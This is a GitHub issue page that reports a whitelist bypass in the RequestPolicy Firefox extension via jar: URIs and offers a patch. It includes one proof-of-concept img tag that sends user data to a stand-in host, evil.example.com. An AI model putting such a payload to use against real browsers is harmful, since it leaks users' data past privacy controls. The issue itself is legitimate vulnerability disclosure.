Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix requests to jar URIs always being treated as internal #409

Open
msxfm opened this issue Jul 7, 2014 · 1 comment
Open

Fix requests to jar URIs always being treated as internal #409

msxfm opened this issue Jul 7, 2014 · 1 comment
Milestone

Comments

@msxfm
Copy link

msxfm commented Jul 7, 2014

Issue by JordanMilne
Monday Nov 18, 2013 at 20:49 GMT
Originally opened as RequestPolicy/requestpolicy#409


It's possible to bypass the whitelist entirely by referencing a resource using the jar URI scheme:

<img src="jar:http://evil.example.com/logger?userdata=whatever!/foobar" />

Firefox will block the resource from being displayed even if it is valid (due to prior security issues with the jar scheme,) but a cross-domain request is made and it doesn't require JS to execute. This can be verified through the network pane in Firefox's dev tools.

It doesn't get logged because aContentLocation's asciiHost is undefined when the jar URI scheme is used, and it gets treated as an internal request at requestPolicyService.js:1953.

I'm attaching a patch against trunk that fixes it for me. I'm not sure if it has any interactions with extensions, but it should also fix nested use of the view-source scheme.


JordanMilne included the following code: https://github.com/RequestPolicy/requestpolicy/pull/409/commits

@stewie
Copy link

stewie commented Aug 16, 2014

FWIW, a diff (vs older codebase) is viewable here:
JordanMilne/requestpolicy@a768419

Justin's link in the msg above is a better starting point for reading, though.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

3 participants